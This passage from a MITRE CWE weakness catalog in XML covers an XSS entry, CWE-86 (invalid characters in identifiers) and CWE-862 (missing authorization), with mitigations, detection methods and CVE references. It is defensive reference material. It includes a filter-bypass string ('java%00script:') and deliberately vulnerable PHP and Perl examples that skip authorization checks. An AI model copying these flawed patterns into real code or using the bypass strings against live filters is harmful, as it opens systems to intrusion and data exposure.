							attributes, hidden fields, cookies, headers, the URL itself, and so
							forth. A common mistake that leads to continuing XSS vulnerabilities is
							to validate only fields that are expected to be redisplayed by the site.
							We often encounter data from the request that is reflected by the
							application server or the application that the development team did not
							anticipate. Also, a field that is not currently reflected may be used by
							a future developer. Therefore, validating ALL parts of the HTTP request
							is recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's
							filter attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2086</Observed_Example_Reference>
					          <Observed_Example_Description>XSS using
						"&lt;script".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0116</Observed_Example_Reference>
					          <Observed_Example_Description>Encoded "javascript" in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1157</Observed_Example_Reference>
					          <Observed_Example_Description>Extra "&lt;" in front of SCRIPT
						tag.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>DOUBLE - Doubled character XSS manipulations, e.g.
						"&lt;script"</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>245</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="86" Name="Improper Neutralization of Invalid Characters in Identifiers in Web Pages" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					invalid characters or byte sequences in the middle of tag names, URI schemes,
					and other identifiers.</Description_Summary>
				        <Extended_Description>
					          <Text> Some web browsers may remove these sequences, resulting in output that
						may have unintended control implications. For example, the software may
						attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may
						bypass this check and still be rendered as active javascript by some
						browsers, allowing XSS or other attacks. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>184</Relationship_Target_ID>
					          <!--Incomplete Blacklist-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0595</Observed_Example_Reference>
					          <Observed_Example_Description>XSS filter doesn't filter null characters before
						looking for dangerous tags, which are ignored by web browsers. Multiple
						Interpretation Error (MIE) and
						validate-before-cleanse.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Invalid Characters in Identifiers</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>247</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>73</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Name, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Invalid Characters in
						Identifiers</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Invalid
						Characters in Identifiers in Web Pages</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="862" Name="Missing Authorization" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not perform an authorization check when an
					actor attempts to access a resource or perform an action.</Description_Summary>
				        <Extended_Description>
					          <Text>Assuming a user with a given identity, authorization is the process of
						determining whether that user can access a given resource, based on the
						user's privileges and any permissions or other access-control specifications
						that apply to the resource.</Text>
					          <Text>When access control checks are not applied, users are able to access data
						or perform actions that they should not be allowed to perform. This can lead
						to a wide range of problems, including information exposures, denial of
						service, and arbitrary code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>285</Relationship_Target_ID>
					          <!--Improper Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>817</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Often"/>
					          <Technology_Class Technology_Name="Database-Server" Prevalence="Often"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>An access control list (ACL) represents who/what has permissions to a
						given object. Different operating systems implement (ACLs) in different
						ways. In UNIX, there are three types of permissions: read, write, and
						execute. Users are divided into three classes for file access: owner, group
						owner, and all other users where each class has a separate set of rights. In
						Windows NT, there are four basic types of permissions for files: "No
						access", "Read access", "Change access", and "Full control". Windows NT
						extends the concept of three types of users in UNIX to include a list of
						users and groups along with their associated permissions. A user can create
						an object (file) and assign specified permissions to that object.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>AuthZ</Term>
					          <Alternate_Term_Description>
						            <Text>"AuthZ" is typically used as an abbreviation of "authorization" within
							the web application security community. It is also distinct from
							"AuthC," which is an abbreviation of "authentication." The use of "Auth"
							as an abbreviation is discouraged, since it could be used for either
							authentication or authorization.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>A developer may introduce authorization weaknesses because of a lack of
						understanding about the underlying technologies. For example, a developer
						may assume that attackers cannot modify certain inputs such as headers or
						cookies.</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Authorization weaknesses may arise when a single-user application is
						ported to a multi-user environment.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could read sensitive data, either by reading the data
							directly from a data store that is not restricted, or by accessing
							insufficiently-protected, privileged functionality to read the
							data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify sensitive data, either by writing the data
							directly to a data store that is not restricted, or by accessing
							insufficiently-protected, privileged functionality to write the
							data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain privileges by modifying or reading critical
							data directly, or by accessing privileged functionality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-6">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis is useful for detecting commonly-used idioms
							for authorization. A tool may be able to analyze related configuration
							files, such as .htaccess in Apache web servers, or detect the usage of
							commonly-used authorization libraries.</Text>
						            <Text>Generally, automated static analysis tools have difficulty detecting
							custom authorization schemes. In addition, the software's design may
							include some functionality that is accessible to any user and does not
							require an authorization check; an automated technique that detects the
							absence of authorization may report false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated dynamic analysis may find many or all possible interfaces
							that do not require authorization, but manual analysis is required to
							determine if the lack of authorization violates business logic.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of custom authorization mechanisms.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules. However, manual efforts might not achieve desired code
							coverage within limited time constraints.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Divide the software into anonymous, normal, privileged, and
							administrative areas. Reduce the attack surface by carefully mapping
							roles with data and functionality. Use role-based access control (RBAC)
							[R.862.1] to enforce the roles at the appropriate boundaries.</Text>
						            <Text>Note that this approach may not protect against horizontal
							authorization, i.e., it will not protect a user from attacking others
							with the same role.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that access control checks are performed related to the
							business logic. These checks may be different than the access control
							checks that are applied to more generic resources such as files,
							connections, processes, memory, and database records. For example, a
							database may restrict access for medical records to a specific database
							user, but each record might only be intended to be accessible to the
							patient and the patient's doctor [R.862.2].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using authorization frameworks such as the JAAS
							Authorization Framework [R.862.5] and the OWASP ESAPI Access Control
							feature [R.862.4].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For web applications, make sure that the access control mechanism is
							enforced correctly at the server side on every page. Users should not be
							able to access any unauthorized functionality or information by simply
							requesting direct access to that page.</Text>
						            <Text>One way to do this is to ensure that all pages containing sensitive
							information are not cached, and that all such pages restrict access to
							requests that are accompanied by an active and authenticated session
							token associated with a user who has the required permissions to access
							that page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the access control capabilities of your operating system and
							server environment and define your access control lists accordingly. Use
							a "default deny" policy when defining these ACLs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-95">
					          <Intro_Text>This function runs an arbitrary SQL query on a given database,
						returning the result of the query.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> function runEmployeeQuery($dbName, $name){</Code>
							              <Block>
								                <Code> mysql_select_db($dbName,$globalDbHandle) or die("Could not
									open Database".$dbName);</Code>
								                <Comment> //Use a prepared statement to avoid CWE-89</Comment>
								                <Code> $preparedStatement = $globalDbHandle-&gt;prepare('SELECT
									* FROM employees WHERE name = :name');</Code>
								                <Code> $preparedStatement-&gt;execute(array(':name' =&gt;
									$name));</Code>
								                <Code> return $preparedStatement-&gt;fetchAll();</Code>
							              </Block>
							              <Code>}</Code>
							              <Comment>/.../</Comment>
							              <Code>$employeeRecord =
								runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);</Code>
						            </Block>
						            <Text>While this code is careful to avoid SQL Injection, the function does
							not confirm the user sending the query is authorized to do so. An
							attacker may be able to obtain sensitive employee information from the
							database.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-96">
					          <Intro_Text>The following program could be part of a bulletin board system that
						allows users to send private messages to each other. This program intends to
						authenticate the user before deciding whether a private message should be
						displayed. Assume that LookupMessageObject() ensures that the $id argument
						is numeric, constructs a filename based on that id, and reads the message
						details from that file. Also assume that the program stores all private
						messages for all users in the same directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>sub DisplayPrivateMessage {</Code>
							              <Block>
								                <Code>my($id) = @_;</Code>
								                <Code>my $Message = LookupMessageObject($id);</Code>
								                <Code>print "From: " . encodeHTML($Message-&gt;{from}) .
									"&lt;br&gt;\n";</Code>
								                <Code>print "Subject: " . encodeHTML($Message-&gt;{subject}) .
									"\n";</Code>
								                <Code>print "&lt;hr&gt;\n";</Code>
								                <Code>print "Body: " . encodeHTML($Message-&gt;{body}) .
									"\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>my $q = new CGI;</Code>
							              <Comment># For purposes of this example, assume that CWE-309
								and</Comment>
							              <Comment># CWE-523 do not apply.</Comment>
							              <Code>if (! AuthenticateUser($q-&gt;param('username'),
								$q-&gt;param('password'))) {</Code>
							              <Block>
								                <Code>ExitError("invalid username or password");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>my $id = $q-&gt;param('id');</Code>
							              <Code>DisplayPrivateMessage($id);</Code>
						            </Block>
						            <Text>While the program properly exits if authentication fails, it does not
							ensure that the message is addressed to the user. As a result, an
							authenticated attacker could provide any arbitrary identifier and read
							private messages that were intended for other users.</Text>
						            <Text>One way to avoid this problem would be to ensure that the "to" field
							in the message object matches the username of the authenticated user.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3168</Observed_Example_Reference>
					          <Observed_Example_Description>Web application does not restrict access to admin
						scripts, allowing authenticated users to reset administrative
						passwords.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3597</Observed_Example_Reference>
					          <Observed_Example_Description>Web application stores database file under the web
						root with insufficient access control (CWE-219), allowing direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2282</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal server does not check authorization for
						guest access.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5027</Observed_Example_Reference>
					          <Observed_Example_Description>System monitoring software allows users to bypass
						authorization by creating custom forms.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3781</Observed_Example_Reference>
					          <Observed_Example_Description>Content management system does not check access
						permissions for private files, allowing others to view those
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6548</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not check the ACL of a page accessed
						using an "include" directive, allowing attackers to read unauthorized
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2960</Observed_Example_Reference>
					          <Observed_Example_Description>Web application does not restrict access to admin
						scripts, allowing authenticated users to modify passwords of other
						users.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3230</Observed_Example_Reference>
					          <Observed_Example_Description>Database server does not use appropriate
